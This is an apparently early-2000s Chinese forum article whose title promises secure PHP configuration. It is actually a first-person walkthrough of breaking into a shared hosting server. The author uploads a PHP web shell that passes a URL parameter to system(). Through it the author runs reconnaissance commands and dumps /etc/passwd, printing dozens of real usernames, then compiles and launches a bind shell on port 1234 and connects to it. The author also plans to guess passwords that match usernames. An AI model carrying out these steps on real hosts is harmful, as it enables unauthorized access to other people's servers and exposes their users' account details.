构建Linux下的安全 PHP配置漏洞攻击

这些站点的问题主要出在允许使用system(),exec()等等这些函数,熟悉php的朋友应该知道,这些函数是调用系统指令的(虽然通过web server php程序只能有nobody权限),而且一般用户只要申请一个空间就可以获取局部的可写权限,令用户可以写一个web shell程序执行命令.在这些服务器上一般用户不能够登陆,也就是nologin(没有登陆shell,管理员可没那么"慷慨"!),这样利用system(),exec()这些函数就可以bind一个shell出来~!本文以虎翼网(www.51.net)的空间为例子(他是不是所有的服务器都有这个毛病我不知道~我只试验了我的空间所在的服务器):

1.写一个webshell先(php很容易做到)

[code]?>php
#shell.php3
echo"

";

system("$cmd");

echo"

";

?>[/code]



2.上传到空间 



3.执行(具体的服务器马赛克处理) 



[code]lynx http://xxx.51.net/cgi-bin/shell.php?cmd=id (看一下权限到底多大)

uid=171047(xxxx) gid=51(xxx) groups=51(xxx), 65534(nobody)

root真的很吝啬啊!

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=uname -ras(看看系统)

FreeBSD xxx.51.net 3.3-RELEASE FreeBSD 3.3-RELEASE #11: Tue Mar 20

00:58:09 CST 2001 root@51.net:/usr/src/sys/compile/51NET i386

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=cat

/etc/passwd(shadow是铁定看不到)

root:*:0:0:Charlie &:/root:/bin/csh

toor:*:0:0:Bourne-again Superuser:/root:

daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin

operator:*:2:5:System &:/:/sbin/nologin

bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin

tty:*:107353:51:USER:/home/tty:/local/bin/null

kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin

games:*:7:13:Games pseudo-user:/usr/games:/sbin/nologin

news:*:8:8:News Subsystem:/:/sbin/nologin

man:*:9:9:Mister Man Pages:/usr/share/man:/sbin/nologin

bind:*:53:53:Bind Sandbox:/:/sbin/nologin

uucp:*:66:66:UUCP

pseudo-user:/var/spool/uucppublic:/usr/libexec/uucp/uucico

xten:*:67:67:X-10 daemon:/usr/local/xten:/sbin/nologin

pop:*:68:6:Post Office Owner:/nonexistent:/sbin/nologin

ftp:*:70:70:FTP Daemon:/nonexistent:/sbin/nologin

nobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin

quotauser1:*:997:51:quotauser:/home/quotauser1:/sbin/nologin

quotauser2:*:998:51:quotauser:/home/quotauser2:/sbin/nologin

quotauser3:*:999:51:quotauser:/home/quotauser3:/sbin/nologin

tian:*:1002:1002::/local/tian:/local/bin/ksh

sysadmin:*:1001:1001:Syste

Administrator:/local/sysadmin:/local/bin/ksh

test2:*:9999:51::/home/test2:/local/bin/null

xhjj:*:106200:51:USER:/home/xhjj:/sbin/nologin

zhinan:*:106201:51:USER:/home/zhinan:/local/bin/null

yes2:*:106202:51:USER:/home/yes2:/local/bin/null

daboy:*:106203:51:USER:/home/daboy:/local/bin/null

yesky:*:106204:51:USER:/home/yesky:/local/bin/null

yesk:*:106205:51:USER:/home/yesk:/local/bin/null

lnsyzzg:*:106206:51:USER:/home/lnsyzzg:/local/bin/null

fog:*:106207:51:USER:/home/fog:/local/bin/null

renshou:*:106208:51:USER:/home/renshou:/local/bin/null

hilen:*:106209:51:USER:/home/hilen:/local/bin/null

hapybird:*:106210:51:USER:/home/hapybird:/sbin/nologin

xiewei:*:106211:51:USER:/home/xiewei:/sbin/nologin

wwwer:*:106212:51:USER:/home/wwwer:/local/bin/null

larry:*:106213:51:USER:/home/larry:/local/bin/null

sunboys:*:106214:51:USER:/home/sunboys:/local/bin/null

everydayyuki:*:106215:51:USER:/home/everydayyuki:/local/bin/null

linguanxi:*:106216:51:USER:/home/linguanxi:/local/bin/null

baobao:*:106217:51:USER:/home/baobao:/local/bin/null

chaoshan:*:106218:51:USER:/home/chaoshan:/local/bin/null

hrstudio:*:106219:51:USER:/home/hrstudio:/local/bin/null

dengxian:*:106220:51:USER:/home/dengxian:/local/bin/null

simonstone:*:106221:51:USER:/home/simonstone:/local/bin/null

chenjian:*:106222:51:USER:/home/chenjian:/local/bin/null

lvxiangml:*:106223:51:USER:/home/lvxiangml:/local/bin/null

zzbxaxa:*:106224:51:USER:/home/zzbxaxa:/local/bin/null

pc2000:*:106225:51:USER:/home/pc2000:/local/bin/null

startexcel:*:106226:51:USER:/home/startexcel:/local/bin/null

model:*:106227:51:USER:/home/model:/local/bin/null

leogirl:*:106228:51:USER:/home/leogirl:/local/bin/null

fohcn:*:106229:51:USER:/home/fohcn:/local/bin/null

ljok:*:106230:51:USER:/home/ljok:/local/bin/null

baorui:*:106231:51:USER:/home/baorui:/local/bin/null

fky-jack:*:106232:51:USER:/home/fky-jack:/local/bin/null

zhaowen:*:106233:51:USER:/home/zhaowen:/local/bin/null

xiaojiaoya:*:106234:51:USER:/home/xiaojiaoya:/local/bin/null

zyinter:*:106235:51:USER:/home/zyinter:/local/bin/null

power:*:106236:51:USER:/home/power:/local/bin/null

feefan:*:106237:51:USER:/home/feefan:/local/bin/null

paradise:*:106238:51:USER:/home/paradise:/local/bin/null

wulc:*:106239:51:USER:/home/wulc:/local/bin/null

jcm:*:106240:51:USER:/home/jcm:/local/bin/null

liangxiaom:*:106241:51:USER:/home/liangxiaom:/local/bin/null

jingder:*:106242:51:USER:/home/jingder:/local/bin/null

hanjun:*:106243:51:USER:/home/hanjun:/local/bin/null

adai:*:106244:51:USER:/home/adai:/local/bin/null

fightben:*:106245:51:USER:/home/fightben:/local/bin/null

lihonghui-ooo:*:106246:51:USER:/home/lihonghui-ooo:/local/bin/null

xeno:*:106247:51:USER:/home/xeno:/local/bin/null

..................(太多了~省略)[/code]



只有几个用户有shell可以登陆,cp到我的目录下面,等一下分离出usrename看看有没有人username=passwd的~呵呵~ 

　　

[code]lynx http://xxx.51.net/cgi-bin/shell.php?cmd=set

HOME=/

PS$

OPTIND=1

PS2=>

PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin

IFS=[/code]

好差的"环境",被设置成这样....

[code]lynx http://xxx.51.net/cgi-bin/shell.php?cmd=cat /etc/hosts

# $reeBSD: src/etc/hosts,v 1.9.2.1 1999/08/29 14:18:44 peter Exp $

# Host Database

# This file should contain the addresses and aliases

# for local hosts that share this file.

# In the presence of the domain name service or NIS, this file may

# not be consulted at all; see /etc/host.conf for the resolutionorder.

#127.0.0.1 localhost localhost.my.domain myname.my.domain

#

# Imaginary network.

#10.0.0.2 myname.my.domain myname

#10.0.0.3 myfriend.my.domain myfriend

#

# According to RFC 1918, you can use the following IP networks for

# private nets which will never be connected to the Internet:

#

# 10.0.0.0 - 10.255.255.255

# 172.16.0.0 - 172.31.255.255

# 192.168.0.0 - 192.168.255.255

#

#[/code]



不算太小啊~hosts ~ 



[code]lynx http://xxx.51.net/cgi-bin/shell.php?cmd=whereis -b gcc[/code] 



(老天保佑~有gcc) 



gcc:/usr/sbin/gcc(万岁!!!!!!!!!!!!) 



我来试试看~弄一个大家伙上去,编译一下,哈哈~速度好快! 



webshell太累了,bind一个shell出来方便一点...(上传binshell程序,自己写也可以用perl/C,都不太难) 



[code]lynx http://xxx.51.net/cgi-bin/shell.php?cmd=gcc -o bind bindshell.c

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=./bind 1234

bind shell too port 1234

telnet xxx.51.net 1234[/code]

 

.....下面省略,反正就可以执行命令了 



嗯~好像这台没装MySQL,可惜~呵呵~~~~~~~~~,对了oso.com.cn的好像有~,不过最近停了..... 



[code]lynx http://xxx.51.net/cgi-bin/shell.php?cmd=/usr/sbin/rpcinfo -p

localhost

portmapper 100000 portmap sunrpc

rstatd 100001 rstat rstat_svc rup perfmeter

rusersd 100002 rusers

nfs 100003 nfsprog

ypserv 100004 ypprog

mountd 100005 mount showmount

ypbind 100007

walld 100008 rwall shutdown

yppasswdd 100009 yppasswd

etherstatd 100010 etherstat

rquotad 100011 rquotaprog quota rquota

sprayd 100012 spray

3270_mapper 100013

rje_ma[/code]